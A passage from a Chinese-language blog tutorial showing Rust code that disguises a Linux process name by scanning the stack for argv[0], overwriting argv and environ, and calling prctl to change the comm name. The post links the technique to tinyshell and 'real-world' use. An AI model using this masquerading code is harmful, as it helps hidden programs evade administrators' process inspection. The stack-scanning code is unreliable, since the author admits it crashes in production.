invoke__">map_err</span>(|e|<span class="built_in">format!</span>(<span class="string">"解析结束地址失败:{}"</span>,e))?;</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>((stack_start,stack_end));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="title function_ invoke__">Err</span>(<span class="string">"未找到[stack]区域"</span>.<span class="title function_ invoke__">to_string</span>())</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>简单的单元测试以及结果</p><img src="/2026/01/03/linux-fake-process-name-for-rust/2026-01-04-03-13-58.png" class=""><ol start="2"><li>在栈中搜索argv[0]字符串以及地址</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsafe</span> <span class="keyword">fn</span> <span class="title function_">find_argv0_address_in_stack</span>(_stack_start:<span class="type">usize</span>,stack_end:<span class="type">usize</span>)<span class="punctuation">-></span><span class="type">Result</span><<span class="type">usize</span>,<span class="type">String</span>>{ </span><br><span class="line"> <span class="keyword">let</span> <span class="variable">argv0</span>=std::env::<span class="title function_ invoke__">args</span>().<span class="title function_ invoke__">next</span>()</span><br><span class="line"> .<span class="title function_ invoke__">ok_or</span>(<span class="string">"没有argv[0]"</span>.<span class="title function_ invoke__">to_string</span>())?;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">argv0_bytes</span>=argv0.<span class="title function_ invoke__">as_bytes</span>();</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">search_start</span> = stack_end.<span class="title function_ invoke__">saturating_sub</span>(<span class="number">1024</span> * <span class="number">1024</span>);</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">search_end</span> = stack_end - argv0_bytes.<span class="title function_ invoke__">len</span>();</span><br><span class="line"> <span class="built_in">println!</span>(</span><br><span class="line"> <span class="string">"搜索范围: 0x{:x} - 0x{:x} ({} 字节)"</span>,</span><br><span class="line"> search_start,</span><br><span class="line"> search_end,</span><br><span class="line"> search_end - search_start</span><br><span class="line"> );</span><br><span class="line"> <span class="keyword">for</span> <span class="variable">addr</span> <span class="keyword">in</span> (search_start..search_end).<span class="title function_ invoke__">step_by</span>(<span class="number">1</span>){</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">ptr</span>=addr <span class="keyword">as</span> *<span class="keyword">const</span> <span class="type">u8</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="keyword">mut </span><span class="variable">matches</span> = <span class="literal">true</span>;</span><br><span class="line"> <span class="keyword">for</span> <span class="variable">i</span> <span class="keyword">in</span> <span class="number">0</span>..argv0_bytes.<span class="title function_ invoke__">len</span>(){</span><br><span class="line"> <span class="keyword">unsafe</span> {</span><br><span class="line"> <span class="keyword">if</span> *ptr.<span class="title function_ invoke__">add</span>(i)!=argv0_bytes[i]{</span><br><span class="line"> matches=<span class="literal">false</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">unsafe</span> {</span><br><span class="line"> <span class="keyword">if</span> matches && *ptr.<span class="title function_ invoke__">add</span>(argv0_bytes.<span class="title function_ invoke__">len</span>())==<span class="number">0</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">Ok</span>(addr);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="title function_ invoke__">Err</span>(<span class="string">"不能在栈中找到argv[0]的地址"</span>.<span class="title function_ invoke__">to_string</span>())</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>单元测试结果</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">running 1 <span class="built_in">test</span></span><br><span class="line">搜索范围: 0x7ffdb065b000 - 0x7ffdb075afba (1048506 字节)</span><br><span class="line">找到 argv[0] 地址: 0x7ffdb0759dc8</span><br><span class="line">argv[0] 内容: /home/asd/Desktop/project/demo/target/debug/deps/demo-dc6b4fb4fd053556</span><br><span class="line"><span class="built_in">test</span> tests::test_find_argv0_address ... ok</span><br></pre></td></tr></table></figure><ol start="3"><li>计算可用空间<br> 实际上经过测试,不计算空间直接篡改argv[0]也行,但是在实战中遇到一些奇葩系统可能会出现一些奇葩问题,于是想了想还是加上,把cmdline和environ都清空,由于在栈中cmdline和environ的地址都是连续的,这样保证了伪装进程名的完整性。</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsafe</span> <span class="keyword">fn</span> <span class="title function_">calculate_argv_space</span>(argv_start:<span class="type">usize</span>)<span class="punctuation">-></span><span class="type">Result</span><<span class="type">usize</span>,<span class="type">String</span>>{</span><br><span class="line"> <span class="comment">//解析cmdline和environ的长度,获取可用长度</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">cmdline</span> = std::fs::<span class="title function_ invoke__">read</span>(<span class="string">"/proc/self/cmdline"</span>)</span><br><span class="line"> .<span class="title function_ invoke__">map_err</span>(|e| <span class="built_in">format!</span>(<span class="string">"Failed to read cmdline: {}"</span>, e))?;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">environ_data</span> = std::fs::<span class="title function_ invoke__">read</span>(<span class="string">"/proc/self/environ"</span>)</span><br><span class="line"> .<span class="title function_ invoke__">map_err</span>(|e| <span class="built_in">format!</span>(<span class="string">"Failed to read environ: {}"</span>, e))?;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">argv_end</span> = argv_start + cmdline.<span class="title function_ invoke__">len</span>();</span><br><span class="line"></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">environ_end</span> = argv_end + environ_data.<span class="title function_ invoke__">len</span>();</span><br><span class="line"></span><br><span class="line"> <span class="title function_ invoke__">Ok</span>(environ_end)</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>单元测试以及结果</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">running 1 <span class="built_in">test</span></span><br><span class="line">搜索范围: 0x7ffcb3ce4000 - 0x7ffcb3de3fba (1048506 字节)</span><br><span class="line">argv[0] 起始地址: 0x7ffcb3de2dc6</span><br><span class="line">environ 结束地址: 0x7ffcb3de3fb1</span><br><span class="line">总可用空间: 4587 bytes (4 KB)</span><br><span class="line"><span class="built_in">test</span> tests::test_calculate_argv_space ... ok</span><br></pre></td></tr></table></figure><ol start="4"><li>修改argv[0]</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">unsafe</span> <span class="keyword">fn</span> <span class="title function_">modify_argv0_name</span>(process_name:&<span class="type">str</span>)<span class="punctuation">-></span><span class="type">Result</span><(),<span class="type">String</span>>{</span><br><span class="line"> <span class="keyword">let</span> (stack_start,stack_end)=<span class="title function_ invoke__">get_stack_range</span>()?;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">argv0_start</span> = <span class="keyword">unsafe</span> {</span><br><span class="line"> <span class="title function_ invoke__">find_argv0_address_in_stack</span>(stack_start, stack_end)?</span><br><span class="line"> };</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">environ_end</span> = <span class="keyword">unsafe</span> {</span><br><span class="line"> <span class="title function_ invoke__">calculate_argv_space</span>(argv0_start)?</span><br><span class="line"> };</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">total_available</span> = environ_end - argv0_start;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">process_name_bytes</span> = process_name.<span class="title function_ invoke__">as_bytes</span>();</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 检查名称长度是否超过可用空间</span></span><br><span class="line"> <span class="keyword">if</span> process_name_bytes.<span class="title function_ invoke__">len</span>() + <span class="number">1</span> > total_available {</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(<span class="built_in">format!</span>(</span><br><span class="line"> <span class="string">"进程名太长: {} bytes,可用空间: {} bytes"</span>,</span><br><span class="line"> process_name_bytes.<span class="title function_ invoke__">len</span>() + <span class="number">1</span>,</span><br><span class="line"> total_available</span><br><span class="line"> ));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"修改前 argv[0]: {}"</span>, std::env::<span class="title function_ invoke__">args</span>().<span class="title function_ invoke__">next</span>().<span class="title function_ invoke__">unwrap</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"将要修改为: {}"</span>, process_name);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"可用空间: {} bytes"</span>, total_available);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">unsafe</span> {</span><br><span class="line"> std::ptr::<span class="title function_ invoke__">write_bytes</span>(argv0_start <span class="keyword">as</span> *<span class="keyword">mut</span> <span class="type">u8</span>, <span class="number">0</span>, total_available);</span><br><span class="line"></span><br><span class="line"> std::ptr::<span class="title function_ invoke__">copy_nonoverlapping</span>(</span><br><span class="line"> process_name_bytes.<span class="title function_ invoke__">as_ptr</span>(),</span><br><span class="line"> argv0_start <span class="keyword">as</span> *<span class="keyword">mut</span> <span class="type">u8</span>,</span><br><span class="line"> process_name_bytes.<span class="title function_ invoke__">len</span>()</span><br><span class="line"> );</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"修改成功!"</span>);</span><br><span class="line"></span><br><span class="line"> <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>单元测试以及结果</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#[test]</span></span><br><span class="line"> <span class="keyword">fn</span> <span class="title function_">test_modify_argv0_name</span>(){</span><br><span class="line"> </span><br><span class="line"> <span class="comment">// 修改进程名</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">fake_name</span> = <span class="string">"fakefakefakefakefakefakefakefake"</span>;</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">result</span> = <span class="keyword">unsafe</span> { <span class="title function_ invoke__">modify_argv0_name</span>(fake_name) };</span><br><span class="line"></span><br><span class="line"> <span class="built_in">assert!</span>(result.<span class="title function_ invoke__">is_ok</span>(), <span class="string">"修改进程名失败: {:?}"</span>, result.<span class="title function_ invoke__">err</span>());</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 读取修改后的 cmdline</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">after</span> = std::fs::<span class="title function_ invoke__">read</span>(<span class="string">"/proc/self/cmdline"</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"> <span class="keyword">let</span> <span class="variable">after_str</span> = <span class="type">String</span>::<span class="title function_ invoke__">from_utf8_lossy</span>(&after);</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">"/proc/self/cmdline: {:?}\n"</span>, after_str.<span class="title function_ invoke__">replace</span>(<span class="string">'<span class="char escape_">\0</span>'</span>, <span class="string">" "</span>));</span><br><span class="line"></span><br><span class="line"> }</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">running 1 <span class="built_in">test</span></span><br><span class="line">搜索范围: 0x7fff68427000 - 0x7fff68526fba (1048506 字节)</span><br><span class="line">修改前 argv[0]: /home/asd/Desktop/project/demo/target/debug/deps/demo-dc6b4fb4fd053556</span><br><span class="line">将要修改为: fakefakefakefakefakefakefakefake</span><br><span class="line">可用空间: 4584 bytes</span><br><span class="line">修改成功!</span><br><span class="line">/proc/self/cmdline: <span class="string">"fakefakefakefakefakefakefakefake </span></span><br></pre></td></tr></table></figure><ol start="5"><li>最终测试</li></ol><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">unsafe</span> {</span><br><span class="line"> <span class="title function_ invoke__">modify_argv0_name</span>(<span class="string">"fakenamefakenamefakenamefakenamefakenamefakenamefakenamefakename"</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">" cat /proc/{}/cmdline | tr '\\0' ' '"</span>, std::process::<span class="title function_ invoke__">id</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">" ps aux | grep {}"</span>, std::process::<span class="title function_ invoke__">id</span>());</span><br><span class="line"> std::thread::<span class="title function_ invoke__">sleep</span>(std::time::Duration::<span class="title function_ invoke__">from_secs</span>(<span class="number">60</span>));</span><br><span class="line">} </span><br></pre></td></tr></table></figure><img src="/2026/01/03/linux-fake-process-name-for-rust/2026-01-04-04-21-38.png" class=""><p>这样就完美搞定了。</p><h4 id="使用rust实现进程名修改–修改comm"><a href="#使用rust实现进程名修改–修改comm" class="headerlink" title="使用rust实现进程名修改–修改comm"></a>使用rust实现进程名修改–修改comm</h4><p> 根据先前提到的,篡改了argv[0]后,在/proc/self/comm中还是能看到原始的进程名。<br> <img src="/2026/01/03/linux-fake-process-name-for-rust/2026-01-04-04-27-39.png" class=""><br> 那么我们使用<code>prctl</code>函数直接篡改就好了。这个函数的限制就是篡改的进程名最大长度不超过<strong>16</strong>个字符(算上’\0’)</p><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"> <span class="comment">//调用prctl函数修改comm</span></span><br><span class="line"><span class="keyword">unsafe</span> <span class="keyword">fn</span> <span class="title function_">mofidy_comm_name</span>(process_name:&<span class="type">str</span>)<span class="punctuation">-></span><span class="type">Result</span><(), <span class="type">String</span>>{</span><br><span class="line"> <span class="comment">//截断长进程名到15个字符</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">truncated_name</span>= <span class="keyword">if</span> process_name.<span class="title function_ invoke__">len</span>()><span class="number">15</span>{</span><br><span class="line"> &process_name[..<span class="number">15</span>]</span><br><span class="line"> }<span class="keyword">else</span>{</span><br><span class="line"> process_name</span><br><span class="line"> };</span><br><span class="line"> <span class="comment">//转换为C字符串</span></span><br><span class="line"> <span class="keyword">let</span> <span class="variable">c_process_name</span>=CString::<span class="title function_ invoke__">new</span>(truncated_name)</span><br><span class="line"> .<span class="title function_ invoke__">map_err</span>(|e|<span class="built_in">format!</span>(<span class="string">"转换错误:{}"</span>,e)).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"></span><br><span class="line"> <span class="comment">//调用prctl</span></span><br><span class="line"> <span class="keyword">unsafe</span>{</span><br><span class="line"> <span class="keyword">if</span> libc::<span class="title function_ invoke__">prctl</span>(libc::PR_SET_NAME,c_process_name.<span class="title function_ invoke__">as_ptr</span>() <span class="keyword">as</span> <span class="type">usize</span>,<span class="number">0</span>,<span class="number">0</span>,<span class="number">0</span>)<<span class="number">0</span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="title function_ invoke__">Err</span>(<span class="string">"prctl函数调用错误"</span>.<span class="title function_ invoke__">to_string</span>());</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="title function_ invoke__">Ok</span>(())</span><br><span class="line">}</span><br></pre></td></tr></table></figure><figure class="highlight rust"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">fn</span> <span class="title function_">main</span>() {</span><br><span class="line"> <span class="keyword">unsafe</span> {</span><br><span class="line"> <span class="title function_ invoke__">modify_argv0_name</span>(<span class="string">"fakenamefakenamefakenamefakenamefakenamefakenamefakenamefakename"</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"> <span class="title function_ invoke__">mofidy_comm_name</span>(<span class="string">"fakenamefakenamefakenamefakenamefakenamefakenamefakenamefakename"</span>).<span class="title function_ invoke__">unwrap</span>();</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">" cat /proc/{}/cmdline | tr '\\0' ' '"</span>, std::process::<span class="title function_ invoke__">id</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">" cat /proc/{}/comm"</span>, std::process::<span class="title function_ invoke__">id</span>());</span><br><span class="line"> <span class="built_in">println!</span>(<span class="string">" ps aux | grep {}"</span>, std::process::<span class="title function_ invoke__">id</span>());</span><br><span class="line"> std::thread::<span class="title function_ invoke__">sleep</span>(std::time::Duration::<span class="title function_ invoke__">from_secs</span>(<span class="number">60</span>));</span><br><span class="line">} </span><br></pre></td></tr></table></figure><p> 效果<br> <img src="/2026/01/03/linux-fake-process-name-for-rust/2026-01-04-04-40-53.png" class=""></p><h2 id="Ending"><a href="#Ending" class="headerlink" title="Ending"></a>Ending</h2><p> 至此就总结了常规Linux下Rust修改进程名的两种方式。<del>已经满足了常规Linux下的需求了</del>,<strong>实际上正式环境会导致程序崩溃,因为读了内存。可以使用C包装器跟tinyshell一样修改<code>argv[0]</code>的方式才是最安全的</strong> 如果是freebsd以及sunos之类的,那么就需要把ptrcl函数得更换一下了。</p>]]></content>
<categories>
<category> Programming </category>
</categories>
<tags>
<tag> Linux </tag>
<tag> argv0 </tag>
<tag> tinyshell </tag>
</tags>
</entry>
</search>